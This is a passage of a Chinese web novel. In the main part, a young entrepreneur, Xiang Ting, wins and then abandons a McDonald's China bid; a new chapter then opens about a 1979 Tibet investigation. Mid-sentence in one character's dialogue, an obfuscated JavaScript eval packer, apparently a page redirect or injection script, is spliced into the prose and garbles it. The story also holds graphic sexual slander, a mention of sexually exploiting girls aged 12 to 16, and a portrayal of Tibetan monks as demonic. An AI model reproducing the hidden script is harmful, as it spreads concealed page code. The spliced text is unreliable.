蓝珀忽然转身看着他,眼波如同晦暝将至的湖面:“我有点耳背。” “但是项廷一直死磕,他说你只是一个无辜的靶子,一个心地善良的人,不该承受如此泼天的骂名。” 蓝珀笑了:“他什么资本教你做事?” “哦他现在有了,他什么都有了。”伯尼很不情愿地承认,“但他一无所有的时候,也说你是他的家人,恳请我不要伤害你,他愿意做任何事。” “那我现在该做什么?羞愧地挤着眼泪,躺进坟墓之前双手高高举出我的一票?” “别误会,我说这些无意为他拉票,只是传达一些事实。” “事实就是我只想把他的骨灰一口吃了。” 蓝珀回到评标委员会的包间,伯尼也进来了。 美国参议院议员的能量有多大?有的人说相当于全国人大代表,但是须知席位只有一百个,故其实更像中央□□委员,至少是候补委员。以往伯尼只要能跟一个集团的高层说上话,基本都能成功把项目给逆转了。美国是个不仅讲究人际更是只看实际的国度。 可是瓦克恩显然不会给他的老同学好脸色。项廷要一举爆冷,几乎毫无可能。低估了伯尼可是资深讲师,竞选经验丰富,给众评委搞得一直两手摸头,吃了姜茶,浑身好热,有些在云雾中旋转的感觉。 而且常识是如果你演讲不用丹田,大概一场就毁了,伯尼扫街拜票的气壮山河的德州嗓门,声波在小方格子空间里四面回荡的同时,蓝珀坐在身侧暗香浮动也恰好,瓦克恩:“Stop。” 瓦克恩震撼不止:“你把项比作林肯?” 伯尼还想说华盛顿呢,怕项廷一言不合二话不说就跑到费城开了个小会,正式宣布脱离美国老母的束缚,自立门户给全美华裔一个家。 伯尼说:“我毋宁说项是林肯当时的竞选对手,道格拉斯。道格拉斯的家庭比林肯的家庭更低贱,他生下来就是奴隶,从未见过自己的生父生母,在马里兰州的一个种植园中由祖母带大,可道格拉斯的鬼才一点不逊色于林肯。” 瓦克恩说:“道格拉斯是黑人解放运动的领袖,你看中项是因为他是下一个中国的民族英雄吗?这跟你娶个拉丁裔的老婆简直如出一辙,毕竟你一直很懂怎么讨好少数族裔。” 伯尼:“Stop。” 蓝珀去洗手间,伯尼追出来。 他说服或者贿赂了几个评委支持项廷,目前不得而知,但是跟蓝珀说:“大势所趋,稳夺民意嘛!” 洗手间的镜子前,伯尼低语道:“等你开标的时候,不论信封里写的是谁的名字,务必报出项廷来,好吗?” 镜子有一层薄薄的水雾。像在江南烟雨中凄迷,蓝珀摇着头说:“然后瓦克恩杀掉我,喀。” 伯尼笑道:“他?敢吗?从今天起,蓝,国会山就是你的靠山。” 蓝珀看着像在憋笑,关键伯尼一看这种笑法就忍不住差点跟着笑,还是严肃道:“只要你说出项廷的名字,其余一律不用思考。届时我会让几百家媒体一拥而入,木已成舟,米已成炊,瓦克恩覆水难收。” 75. 蛟龙须待春雷吼 “真呀真可笑,”蓝珀一副既觉得好玩又不知所以的表情,“缘木求鱼,你找错人了。” “试试也无妨嘛……” 接着,伯尼不具名地具象化了何谓“国会山是你的靠山”。他将奉上一张万能通行证,让蓝珀如鱼得水穿梭政商两界,使得高盛一棒子放倒所有市场监管者,更会利用其在国会工作中得到的内幕信息,蓝珀便可精准“踩点”交易股票,股神附体。举例,众议院议长夫妇的投资回报率超过巴菲特。从国会到政府,乃至法院、美联储,美国官员在公共和私营领域的旋转门进进出出,既当裁判又当运动员,中饱私囊的花样百出却鲜受惩处,而现有的联邦制度仿佛一位无力的旁观者。 蓝珀说:“这点蝇头小利可不会让我谈成生意。” 好像很冰清玉洁,不屑为伍的样子。伯尼忍不住奚落他:“你上一份工作就在美联储。” “哦是的,我是永远被人牵着鼻子走,”蓝珀说,“但是他们不可能牵着我的思想。有一句话,‘可怜的虫子一旦被人踩着,也要翘起尾巴,对践踏者的脚表示反抗。’” 伯尼深深地吸了一口气,想问你既然如此决绝,媒体面前我给你大大赔罪,介绍你是来自中国古老的江东贵族,东方芙蓉花神转世芳兰竟体的时候你怎么不拒绝?那我刚刚算什么,白白的一个受气包?那我现在又算什么,跟你乞食的一条狗? “我没意识到我的言论伤害你那么深。”伯尼在脑血栓的前夕说,“如果觉得不够,我可以办个新闻会来道歉。” “这不好吧?你那些话可不光彩,就比如你说我来自中国南方的妓寨,到了曼哈顿重操旧业,被人当作婊子嫖来嫖去?再比方你说我对金融一窍不通,所谓钱滚钱,功夫都在床上,每睡一个男人就让他们乖乖买下十万块的股票?十万块只是接客,接吻又是另外的价钱。美国本土早已客似云来,中东石油王子才是最大买主,英国财政部长访美只因为心向往之sugar daddy的滋味。但是daddy其实钟意跪在地上扮狗。叫我坐在背上,骑他,踢他,用球杆打他屁股,他一边爬,一边吠,又大声叫妈妈,不要,妈妈,不要……哈哈,几十岁的老男人即使天天洗,也还是有一股煮熟了的大豆又捂馊了的味道,你听过一颗纳豆叫起来像个哭求吃奶的小孩子吗,笑坏了我……我笑的是他扮狗,不知道我才是那条狗。小时候见过一条狗,被人吊在了树上,一刀一刀地割身上的肉,直到淌干了全身的血……就这样没日没夜地在华尔街站街,再怎么假正经的男人路过都立即变了狗公,我于是入行三年凭着卖身钱就成了高盛经纪业务部的头牌?” “阿,阿……”伯尼震惊到久久地安静,“这太过分了,太让人恶心了。” “嗯嗯,你恶心得就像狂泻三千点的大盘。” 伯尼挂着一脸茫然:“不,蓝,我发誓绝不会沦落到说这种话的地步,一定是某个低俗小报为了博眼球。” “可是你带头骂我,你好喜欢找个软柿子捏一下,于是每个人都来捏我,像围着甜点乱飞的苍蝇,”蓝珀一丁点心都没用地笑着,继续说,“据我所知,世界上嘴巴开过光的人不多,而你是其中一个。你真是个好人,咒我的每句话都成了真,这是对我多大的情谊?” 伯尼觉得无妄之灾,他没说过这么下三路的话吧。其次蓝珀要是真有这等艳名,他也不会不知道,嗯…………起码不会是最后一个知道的。总结,蓝珀失心疯了,蓝珀早就患上神经衰弱、失眠这一类劳苦大众轻易尝不着的富贵病了。他就长着一副极擅自怨自艾的容貌。 可是蓝珀那不经意流露的丝丝神态又让他无话可说。令人想起去年暮春打马球,暖风熏得游人醉,却感觉骑马骑快了蓝珀能像风筝一样飞起来,飘萍断梗,应如是了。灯光打在洗手台的瓷面上,蓝珀撩起水纹的影子,幽暗如牢,非常疲劳的样子,半生不死,没有特别活。 蓝珀举手摆出依依惜别的姿势,谈判破裂之际,伯尼忙一步迈上去,拦在蓝珀要用的那个烘手机前。 “别离我这么近,有点臭气到我脸上的感觉。” 蓝珀不给他说最后一句话的机会,对着他的脸,湿着的手松松地握了,又轻轻地展,杨枝净水,遍洒三千。伯尼被溅了一脸的洗手水,勃郁喷发的香却格外地让人恐慌又心颤。或是这个原因,朵朵的水花在他脸上绽开的时候,涎玉沫珠,他像在海底听打雷声。 “你们在干什么?” 项廷来上厕所,门口狭路相逢正要出去的蓝珀。伯尼则对着烘手器,他那个背影特别像在对着烘手器小便。 “没什么,我们只是,倾谈了片刻,”蓝珀像雾像雨又像风地离去之前,丢下一句意义不明,大可不必的话,“老夫老妻的,真刺激。” 烘手机一定是坏掉了,否则为何伯尼这儿突发好大的呼呼声,他人如在台风眼中旋转,感觉项廷朝他走过来的脚步声,每一下都铿锵有力,也仿佛看到了项廷在活动颈椎,他像猎犬一样张大鼻孔。 就在此时,外头传来秦凤英宏亮的一嗓子:“项廷!你在哪!快回来!” 原来是刘华龙返场了。 老赵相当犀利的一记重拳以后,刘华龙的□□虽然被担架抬走,精神却始终没有出局。醒了后他马上从救护车跳车,一路狂飙,徒步跑回了会场。 旁人见了,深恐不敌,大半弃标。秦凤英看前夫势如破竹,又想到项廷刚才那个不伦不类的演讲,这小子这会儿又野哪去了,他打算坐以待毙吗? 出局的人就很淡泊,旁边的厂商用道学思想开解她:夫唯不争,天下莫能与之争。 可这个钱让谁赚,凤都不想龙赚,她焦虑得夺过嘉宝手中的毛衣,借她织织。嘉宝不给,很宝贝。这礼拜,军团司令项廷把大家聚在一起,学教父做所谓的总动员,就是战争白热化的时候,柯里昂家族全军进入“睡床垫”的战斗状态。嘉宝就盘着腿坐在床垫上,头也不抬地织她这件大红背心。 瓦克恩不改初心,打他心底里,刘华龙就是最四平八稳的选择,他是从肯德基时期就跟着瓦克恩的创业老兵,供销关系长期稳定。铁岭的养鸡场的确不合规,但那是过去中国大环境的问题,他在深圳办的厂子那可是处处彰显着专业、干净。所以哪怕他被打断了鼻梁骨,躺在医院不省人事,这项目该他的还是他的,跑不了。 可是伯尼力排众议,就是要挺项廷。瓦克恩心想你算个屁,装模作样让大家举手表决一下时,民调居然基本持平,选情很是胶着! 啊?瓦克恩盯上了那几个背叛他的评委,用脚趾头想都知道,这老几位看样子平常没少跟着伯尼炒股吧,紧着老百姓一顿横征暴敛,手都伸到加拿大去了。呵呵,好人注定斗不过无耻的魔鬼! 这时花花太岁蓝珀也发话了:“那,不如单挑决斗吧?喔,终极之战。” 瓦克恩捏一把汗,理解为他有深度斗蛐蛐的爱好。都将就蓝珀到现在了,别想太多了,继续将就下去吧,事情再糟也糟不到哪里去了。反正自己有一票否决权,总裁才是最后定夺的那个人。 这几个小时可把瓦克恩难受坏了。一场闹剧何时方休?瓦克恩看到又一张圆弧形的讲桌被搬了上来,刘华龙、项廷分别站上了舞台的两端,两人一个鼻青,一个脸肿,俨如总统竞选电视辩论那样肃杀的时候,瓦克恩如是想道。 刘华龙往那一站定,便表现出老友商人的极强攻击性:“这位小友,有无看过香港赌神的电影?如果你在头半个小时,不能在赌桌上找出那根嫩草,那么你就是那根嫩草!” 一上来就开炮,众评委先是觉得似乎不合礼法,但是他们评标多年,没见过这么有画面的标,顿感年少十载哉。观众也都聚精会神,像老式茶馆里摆龙门阵的阵友。 委员会都默认了,甚至鼓励玩点脏的时候,项廷十分文明地说:“我确实是根嫩草,刘总你可真是块老姜啊。不仅养鸡厉害,养牛也不差,种生菜挖土豆,还有物流网络和品控。四个维度下来,综合实力绝对稳坐第一。” 这是什么招式啊?刘华龙听他把自己要说的话全给包圆了,甚至升华了,刘华龙像个刚准备飙高音结果嗓子眼儿卡住了的。而且,怎么听着不是味儿呢?他豆豆眼全场乱溜,忽而远远地看到蓝珀,果然,有妖气! 刘华龙公鸡斗架一样上上下下打量着项廷,说:“你不要给我戴高帽,我不吃你这套。叫你说重点就重点,废什么话?说说!你到底有什么实力啊?” 项廷竟没有回答,好像如火如荼地比赛着,他突然下场去了休息区。 蓝珀独处一个灵动又清静的世界,笑道:“天哪,我都不忍心听下去了。” 瓦克恩心照不宣地说:“那来一杯阿玛罗尼吧。” 这是一个默契。往往终桌谈判的时候,整整一个屋子的投资人,每个人还带着各自的律师。马拉松式的谈判,谈起来不分昼夜。隐隐谈崩了时,蓝珀总会要一杯烈性酒,然后在杯子上抿一口,作出辣得咳呛的样子告饶,这时候一大家子都有一个下台的机会。 现在,瓦克恩也有点为项廷尴尬了,刘华龙的体量相比他简直是巨无霸,铁壁铜山般的硬实力。撇开鸡之道一类的助兴表演,项廷拿什么去跟人家同台竞争啊? 正当众人想着他如何收场时,项廷又足足等了30秒左右的时间,看到门口回来了某个厂商代表,这才终于说了下去。 “全国23个省4个直辖市冷链配送薄荷叶一天半之内必到,海南文昌的青金橘全中国只此一家;建国初期建的国营大库房加上三个蛋品加工厂楼库要坐电梯上下,呼和浩特15000平方米的干仓24小时连轴转;春节联欢晚会、长城杯足球锦标赛、钓鱼台国宾馆指定核心鸡肉供应商,目前中国唯一一条从国外进口的冻肉加工生产线,年产能5亿羽,中国最大、亚洲第一、全球第七——这些实力,刘总,你够不够看?够不够跟你碰一碰?” 长句子轮番抡出来,莫名具有宏大叙事的气魄。刘华龙目瞪口呆,还没明白过来,不顾夹在胳肢窝里的稿子,指着他说:“虚假宣传,虚假宣传啊!” 项廷说:“当着正主的面说人家假,有点不太厚道吧?蔬果运输,麻烦你多咨询福建的李总;仓库这块儿,王总是权威,找他准没错;养鸡的嘛,辽宁史总你肯定认识,你俩以前可是死对头啊,有你没我。至于质控的魏总,刚才去洗手间了,我是等到他回来,让他亲自跟你聊聊我们的实力。” 镜头突然给到魏总,把魏总搞得猝不及防,起身客气的时候茶点把茶几碰翻,膝盖磕在玻璃钢茶几的边上。李王史之流没起立,却也都是差不多人仰马翻的状态。什么时候变成项家军了,他们自个也没印象了啊。 项廷语重心长地说:“刘总,你的确是全年级第一,但在座的诸位都是特长生,都是我的合伙人。” 王总:“别扯幌子了,玩虚的!我就问一句,赚了钱大伙都有份儿吗?” 李总更过分:“你能跟咱均摊不?” “想想都不可能吧。”项廷摇着头,笑道。 史总的形象是个蒙古摔跤大汉:“你个龟儿子倒挺坦然!” 项廷说:“我是小辈,各位是前辈。从来只有前辈吃肉,小辈喝口汤就不错了的份。” 满座哗然。 来美多年,大家从未如此深刻感到什么是民主、平等,美国真是一个他信、利他的社会似的。这些个总们,最年轻的今年也四十有八了,而项廷年仅十八就把人生看得比较透彻,他说大家互相竞争没啥意思,不就是为了生存,为了老婆孩子吗?且本来都没戏唱了,眼见着又有人带他们玩了,项廷还保证自己绝不拿大头。事情着实突然但又很难拒绝啊!听懂的掌声,少走十年弯路。 “行,就冲你这句话!”史总突然喊话,“刘华龙,你个老赖货,七九年八月十五你欠老子二十七万三千九还没还!麻溜的给老子滚下来还钱!” 刘华龙站那不出声挺久的了。他眼下最大的困局在于中途离了场,搞不清他们是真的合纵连横了,还是项廷诈胡。总之什么都无法证伪了。 “瓦总啊,瓦总!”刘华龙申请裁判介入。 确实,这帮中国人把利益分配得明明白白了,已经形成了良性的致富链条,还没问过美国人同不同意呢。 隔着玻璃,刘华龙就像一头在铁丝围墙外咆哮着的公牛。而评委们不是单手支颐,便是低下头,把下巴撑在握住手杖的双手上默默凝望风景。 终于有人很中肯地说:“项,这个人做事有点不合常理。” 立马有人附议:“些许疯狂无伤大雅,创始人必须能鼓舞人心。他有一举成名所需要的能量。” 蓝珀接过酒瓶斟酒,说:“可惜属于狗肉上不了宴席的人物。” “蓝,话不能这么说吧,”伯尼说,“我特别欣赏他身上近乎原生态的单纯和直率。” 这话说到一些评委心里去了。见过太多中国人勤劳而不敬业,老油条,凡事先拉个关系,工作潦草塞责。而项廷赢就赢在他年轻,白纸一张,应届生一枚,长期主义,完全可以塑成麦当劳想要的形状。 伯尼说:“做小生意随便找个人都行,但这就像比宾利和普通轿车。乡间小路上,宾利也没什么优势;可一上麦当劳这样的康庄大道,宾利的速度和性能就远远胜出。” 蓝珀一副垂帘听政的微笑:“鸡贼说得对。” 伯尼面不改色:“连你都没法否认他的口才、临场应变、组织能力确实是一流中的一流,一个企业家强盛的软实力,恰是一种硬形象。起步基础差又怎么样?谁不都是从零开始的?只要有市场的无形之手就能强劲发展。” 一评委觉得他说得好似在理,可是看同僚似乎都倒戈了,瓦克恩只有自己了啊,便反对:“我的朋友啊,你就是满嘴政治语言。” 又一评委感慨:“可我看到项,也好像我还是二十来岁的样子!今天一聊,勾起了我好多回忆!” 有人小小声:“形象也很好,特别地不错。” 伯尼:“项的精神内核比他的外表更难得,很少有人小小年纪就这么清醒而且言之有物。” 伯尼越说越不停,转头看看瓦克恩的反应。瓦克恩还是高估了自己的身体,感觉每个器官都在叫。别的都还罢了,他最关心的是刘华龙竟然欠钱不还。瓦克恩近期的财务状况非常不良好,心里咚咚打鼓:他难道还再找个难兄难弟吗?这事之前费曼怎么没提醒过他呢?不由得想给费曼打个电话,但一想他的态度也暗暗倾向项廷,很烦,不打了。 而且这个史还在掀老底,说刘华龙化工集团搞食品,谁敢吃?刘华龙还有副业啊?瓦克恩犯嘀咕,这事要给媒体发现,听风就是雨的,情况怎么样还真不好说,要想办法消除负面影响。 项廷占据俯视数十个部下的战略高地,正说着:“刘总,世上只有两种人,吃肉和被吃。狼和羊想明白你要成为哪一种。” 怎么谈笑间自己都成为他收编的对象了?刘华龙喊破了嗓子,瓦克恩不来管管,他只能迎头还击。 他冲到电子屏前,手指每点一下,眼神就阴沉一分。点了几下后,闲置了整场的投影机终于派上了它的用场。 幕布上出现一家现代而高档的餐厅,画面里,深圳解放路光华楼的屋檐上,坐着一个三人高的麦当劳叔叔。 “瓦总,对不住我先斩后奏了。全中国第一家麦当劳餐厅,请您赏光验收。”刘华龙抱拳道,说完还配了一句口号,招式!就是要喊出来,拳头垂下双手像迎宾那样在肚子附近打开,“麦当劳,喜欢您来。” 先斩后奏都来了?场子一时间确实给他镇住了。 但刘华龙怎么可能自作主张,这事瓦克恩全权授意过。刘华龙与不少地产商交好,麦当劳又有品牌优势,所以他去谈房租时候非常强势。没多少钱就拿下了那块地,可临了,当地政府突然翻脸,这就是改革开放所谓的万千气象。餐厅建好都两年了,愣是没给发营业证,这才又重新招标,选址。 照片放出来骗骗外人还行,打动不了评委们,甚至起到了反作用。但让瓦克恩想起他的好来,刘华龙租房是一绝,这符合瓦总近期勒紧裤带的战略路线。 好像也征服了对手,项廷赞道:“刘总,我愿称你为鸡之道的神。” 秦凤英笑了:“鸡神呀!” 刘华龙:“你!” 秦凤英:“说你是只鸡不错了,你呀,就是茅坑里的成年老蛆!” 前妻的笑声是有法力的,记得二十八年以前亮子河边初次约会,刘华龙孤身半夜耳边都听到清晰的笑声。她一笑,传染,满场笑作一团。 唯独缺了一整节课的刘华龙,不知道项廷的包袱是从哪里抖出来的。又见珊珊手上一串狗牌,又是鸡又是狗,他小小离开一会就鸡飞狗跳了? 瓦克恩心意已决,要命人去宣布开标纪律了。蓝珀却拉他坐回来,有说有笑道:“都有神了,可不是一种教?” 刘华龙听不懂,不答话又有损士气,便无脑地挑拨道:“什么鸡神鸭神的!你在骂我们瓦总是鸡吗?” “哪里哪里,”项廷说,“筑好了巢在这里,我是怕没金凤凰来。” 项廷伸出手来,打了个清脆的响指。 幕布上的景象霎时变换,一对金拱门傲然出现。 刘华龙一愣:“我这好歹三百万五百平的地儿,你回头就拎块破招牌证明你上心了,你认真了你尽力了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Mc-McBonald''s,哈哈哈!” 项廷说:“成大事者不拘小节。” 大家看着招牌,即便与项廷有过短暂的同盟,也很难不笑。秦凤英无声地苦笑。 “我承认你是神,因为赌神电影里还有一句话,如果你想在赌桌上打败赌神,那么你必须比他还要神。”项廷说,“神外又有神,谁才是鸡之道的神,请你把麦克风交给瓦总。” 刘华龙捧腹仰着头,笑得舌头也打卷了。没注意何时瓦克恩竟已来到台下,还没来得及参见瓦总,只见瓦克恩斥开投影仪前的工作人员,居然亲自弯下腰去,十万火急地调试着什么的样子。 原来是投屏的尺寸出了问题。很快,充斥满屏的不再是一幅McBonald''s,而是招牌后的蓝天、白云,雕绘着龙凤彩绘和吉祥云纹,黄琉璃瓦单檐四角攒尖鎏金宝顶,位于北京城中轴线上红墙金瓦恢弘的建筑群。 多年以后,面对麦当劳中国,瓦克恩总裁准会回想起项廷带他去见识挂在故宫里的招牌的那个遥远的下午。 开在故宫里的麦当劳,有一种错位的幽默感,活像讽刺画。但在瓦克恩的眼里,整张照片仿佛充满了奥顿柔焦如梦似幻效果,站在它旁边的项廷更是一尊巨大的威风凛凛的领袖雕像。须知上任总裁克罗克,就把分店开到了梵蒂冈去,圣彼得大教堂的朝圣者可以随时要一个巨无霸。这是克罗克在位期间最为人乐道的政绩,象征着对海外市场的集权统治。 刘华龙惊愕得张开大嘴,好像要咬瓦克恩项廷他们俩。观众的眼珠更像弹出去的弹珠,在照片和项廷之间旋转。 瓦克恩本能地要惊呼,又理智地压回了声音。 蓝珀本能地要鼓掌,又理智地哼了一声:“有什么了不起的?” 评委甲:“北京市红头文件明文规定,禁止悬挂超过10米高的牌匾了。可项不仅高高挂起,还用的是违禁的不锈钢高反光材料,真是够本事的……” 评委乙:“你是不是搞错重点了,这事关键不在高度和材料上,他挂的地方可是中国的凡尔赛宫、克里姆林宫。天哪,我们是不是搞错他的姓氏了,他不姓Xiang,他姓Mao!” 评委丙:“or Jiang?” “春夏交替的中国正在经历一场剧烈的□风暴,在北京□,居然还能挂上这么一块外国牌匾。这简直就是资本主义在共产主义大本营里大喊大叫,西方的神圣权威通过故宫向东方世界播扬。□” 伯尼补充道。他是全场最了解这块牌匾的含金量的人,看到的一瞬间,他有一种亲临魔境的恐怖。以他对瓦克恩的了解,基本是尘埃落定了。伯尼就像沙漠里找到了一出清泉,解渴了,解脱了。至于推荐信的余孽,他想他还是得尽快把这个烂摊子结束掉,而不是陷得更深。 千言万语,瓦克恩只说了一个词:“How?” 是的,how?中美关系日趋紧张,北京政策瞬息万变,玛丽张一个小小的市规划局行政主管就已经把他们搞得晕头转向。伯尼说得相对委婉,瓦克恩其实想问,你是how堂而皇之让麦当劳骑到中国人头上拉屎的?不管你how,本来隔着太平洋谁也不清楚谁的身家底细,权力是看不见摸不着的,但《故宫里的麦当劳》一亮相,直接就是皇权砸脸的现场! 美国人不在意中国厂商的技术资质,就像人类不会去关心蚂蚁的科技水平。只要是个关系过硬的黄皮就行,可都是黄,黄金和黄沙现在瓦克恩还是分得很清的!项廷,你小子,好东西永远藏得太内在了啊。 刘华龙拥上来,拦着瓦克恩上来亲人相认:“这小子,他、他空手套白狼啊!” “中国的领导人说过这样一句话,黑猫白猫,只要捉住老鼠就是好猫。” “瓦总,为什么呀!” 瓦克恩显得脾气很好:“因为——你刚刚感受到它了。” “什么?就这照片?”空调开太大了,刘华龙冷汗爆出,背后有鬼似的,“风有点大,哈哈!” “不只是一阵风,”瓦克恩坚定地说,权力的风,“对你来说也许就像风一样,因为你终其一生认知的也就这么多了。” 项廷没有回答how,只在意兑现他的诺言:“瓦总,我想带着大家一起干,你看行吗?” “小子!啊不是,项总!”王总涕零,“你可真的是,实在是,太,太团队了啊!” 瓦克恩笑道:“人多力量大,麦当劳会在全中国遍地开花,第一年你们的小目标是多少?” 项廷试着问:“一百万?” “一百万?”瓦克恩抚掌大笑,“蓝,我最亲爱的投资银行家,你来告诉他一百万酷不酷?” 他一边说一边把他的手朝项廷伸了过来。瓦克恩是一个一握手就喜欢使用蛮力的人,也不怕把别人的手给捏疼了,项廷更是有力地回敬了他。 伯尼走过来,其乐融融地笑道:“对银行家讲话声音要温柔一点。” 蓝珀看着这几个小孩般的男人,无奈地笑道:“是不太酷,但是慢慢来吧。” 瓦克恩说:“对,100万美元并不酷。你知道什么才酷?10亿美元!” 蓝珀笑了道:“便宜死你了。” 刘华龙还在争取,瓦克恩就说:“你听我说冷静一点,现在的情况是要知道你能帮到项廷哪里,而不是在这里鬼喊鬼叫懂吗?更不要突然像个弱智儿童似的嘿嘿傻笑。” 刘华龙:“如果照片是真的,那的确有说法了。但现在PS技术很发达,你怎么保证它是真的?” “我有视频。”项廷说。还有牌匾挂上去之前,跟市局一把手的合影。 刘华龙做了一个“请”的手势,看着稳,其实慌。如果一切保真,项廷真是这么个真龙天子,刘华龙觉得这辈子还是别回国了为妙。秦凤英此时此刻也在想,何曾想到后厨半亩方塘之地杀鸡的伙计竟不是池中之物,怪不得那大雪纷飞的日子他第一次来到煲煲好的时候,一个老板娘待在自己的店里头,差点就给项廷身上的太子味儿顶出来了。 项廷准备去电脑上调视频的时候,瓦克恩喜欢得寸步不离,跟过去想抓住他的手,当众举起来,又让属下去通知,媒体各就各位,预备进场。 蓝珀嗔道:“又不是你开标,你激动什么?” 个别媒体已经偷溜进来了,采访项廷成功感想。 项廷道:“我现在真心想去读大学,不知道总裁先生能帮忙写推荐信吗?” “哈哈,你自己都要当总裁了,还找谁写推荐信啊?谁还够资格帮你写?”瓦克恩拍拍他的肩膀。 说着,瓦克恩示意了一位主评委。 该评委出了列,满面笑容地来握手:“哈佛大学商学院欢迎你!” 今天与会的不少董事亦身兼教职,他们结队排号地上来。 “沃顿商学院期待你的加入!” “耶鲁大学萨姆森管理学院,诚邀你和我们一起创造独属于你、势不可挡的未来!” 镜头给到伯尼。伯尼听到推荐信,疑似项廷在敲打他,放下的心陡然又悬了起来。但又看诸教授一字排开,等着项廷选妃似的,伯尼愕然自己的宝藏变成了公共财产,于是口吻无比复杂地说:“康奈尔……永远等你。” 瓦克恩焕发青春,撞蓝珀的肩膀:“剑桥表个态啊!” 蓝珀不睬他。瓦克恩就暗示侍者,把礼花的金纸滋到蓝珀头上。蓝珀这才哎呀了一声,道:“剑桥不就出美国了,蠢笨如猪的人。” 掌声和欢呼声此起彼伏,宛如节日的盛大钟声,大家像迪士尼里一起歌舞。 只有刘华龙还在咬着视频不放。没人注意到,项廷打开电脑以后,就像让谁施了定身法,撑着电脑操作台的手臂开始出现肌肉虬结的状态。 刘华龙:“视频呢!” “当我没说吧。”项廷忽道。 刘华龙:“那真的你敢发誓吗?” 生意做大了,都多多少少信一点命啊运啊。瓦克恩开个玩笑,说:“你就跟蓝发誓吧,他是我见过最像祭司的人了。” “我发誓——”项廷说。他慢慢地望向蓝珀。 礼堂般的大厅内,各色的灯具把蓝珀身上的饰物点染得晶莹剔透,他的脸竟些许的微红像凤凰树上盛开的花朵。可老式电影般的照明下,却让他有了一些鸳鸯眼的异色。 所有人都紧张地翘首以盼时,看着蓝珀的眼睛,项廷这一双永远不肯后退的眼睛,却闭上了。 “我弃标。” 76. 不列颠美丽传说 1979年冬,纳木错的湖面半水半冰的时候,我怀着中央一号机密任务,进了藏。 西藏和平解放了28年,北京早就收回了西藏的外交权,涉外的冲突却层出不穷。 这一次的国际问题,据传是一伙印度密宗妖僧在藏区四处流窜,将无数少女炮制成了供人淫/乐的明妃,雪域佛国变成了恶魔之地。 差事不好办。上头既要我们火速在政治上争取主动,同意军委对于军队入藏的布置,早日一举抓获喇/嘛集团;又要我们查案时必须尊重藏族僧俗人民的风俗习惯,一切不可告人。绝不要产生紧张局势加剧,等等……令人遗憾的后果。解放以来,一些愤怒的藏人为了驱/汉,发动游/行、自/焚运动的事情,屡屡见诸报端。 从国道的分岔路口进来后,公路一直延伸到佩枯错湖边,左侧绵延着高大的雪峰。日落时分,在这个位置一定会见到喜马拉雅山脉被南边翻滚过来的浓厚云雾包裹。而我望着车窗外,看着蓝天上的云朵。它们几十年来一动不动地挂在那里,衬托出中华大地上安定团结的新面貌。 通讯员开玩笑说,咱们应该带一个女队员,深入虎穴充当卧底,不就直接从内部瓦解他们了? 听到这话,我不禁苦笑,只是靠着心中的一股直觉说,不是那样简单。 当时的我当然还说不出个所以然,比如他们对女孩子的要求极高,修密的上师要找一个12至16岁之间的处女,因为只有在处女的莲花里才能取出红珠。而且此女,体貌一定要十分绝美。 这些行话,都是丑苗儿对我说的。 我们在拉萨驻扎了几个月,去的最多的地方就是大昭寺。那地方外地人特别多,听说妖僧为了骗色编出来许多肮脏借口,专门诱拐内地女游客,我们小队每天都去蹲点。 许多人从老家出发,带着全部家当,有的甚至是从很远的地方历经几个月三步一叩,磕长头而来的,都是为了一个共同的心愿——在大昭寺朝佛。朝佛的人们围绕释迦牟尼佛像转圈,转经筒在八廓街中长明的灯下熠熠发光,在空气中的桑烟味道,在那些信徒诵念不断的六字真言中、在他们浸满鲜黄色牦牛酥油的手的拨动下,漫天飞舞着的梵音,根本不会停下来。 那段时间我见过太多虔诚忘我的人,但像丑苗儿那样的,我这一生也只有那一次见。 我第一次见到丑苗儿的时候,她看那样子至多只有十六七,她的脸上,乃至全身满是或青或红,茄紫一般的尸斑,活像是唐卡上走下来的魔女。 她正双手合十举过头顶(那手的高度很夸张,就像准备起跳的潜水员),再放到胸前,然后跪地匍匐,她的手掌撑着一块小小的木板正滑过粗粝的地面,擦着地向前伸,两手、两膝和头一起,标准五体投地的姿势。最后,她的双手在头顶朝向大昭寺殿正中的度母大佛像,合十,她轻手轻脚没有发出一丝一毫的响动,连戴着的那双砍掉双腿才能取下来的脚镣,都听话地安静极了,只有木板滑过地面的咔嚓刺耳。 在大昭寺,这样的声音日复一日,响成一片,人们像海上的大浪一般起起伏伏。她站起来的时候,我看见她的额头上已经有了厚厚的茧,像裤子上的一块补丁。她的右手还套着一枚小计数器,每磕一次头就拨一下,她没用佛珠,可能是为了磕头时更加专注。 每一天,她都会在固定不动的位置做一模一样的事情,很难不让人留意她。 过了一个月,我邀请她一起喝茶,我们聊天。 “我叫丑苗儿,”她说,“谁见了我都这么叫我。” 丑苗儿从黔东南来,已经来了快一年了,她想要磕十万个等身头,这是她从家里出来就定下来的目标。每天早晨从5点左右开始,要磕到中午12点,之后去到旁边的甜茶馆喝甜茶,吃藏面,然后在下午1点回来继续磕。天黑后,大昭寺外那片半人高的藏红花地就是她的家。她几乎是赤身仰卧在冰雪之上的。 丑苗儿说:“什么时候磕够了十万个头,我就回家了。” 我问她:“为什么磕头?” 她很较真地看着我,却像是讲着一件别人的事,说:“为了家里的人。” 我不懂这些人苦行的方式,难道修行就是折磨自己?我觉得怪诞,不想再听下去,大多时候我们只能相互微笑,她说的话我装作半懂半猜。我再没有和她一起喝过茶。 藏地高寒缺氧,随行的翻译很快病倒了,我们连买点日常用品都成了问题。 于是我只能又找上了丑苗儿。因为我常常看到一群丝缨辫套上串着珊瑚、象牙,腰间挂着金银佛塔的康巴汉子聚在一起,他们挤在路中间,围成一圈站着,簇拥着丑苗儿。她不时把手伸进男人们长长的袖子筒里,她在干吗?她在挨个地摸着他们的手指头砍价。 果然,她的藏语非常好,神乎其神。可每次我问她怎么学的时候,她就笑着指指自己鼻子上的环,不说话。 丑苗儿面浅,也许发现我还算个好人吧,放下了戒备,之后慢慢熟络了。 案子一直没有进展,我很发愁,士气也一天比一天低迷。好的是上面也没有催。 一个人漫无目的地溜达多了,我渐渐信了老人们的话,整个西藏的地形有如晒尸的罗刹魔女,我走不出这里。我偶尔也会想是不是被忘在无人之地了。我看着那蓝天白云,风缓慢滚动。它们叫人感到时间是死的。 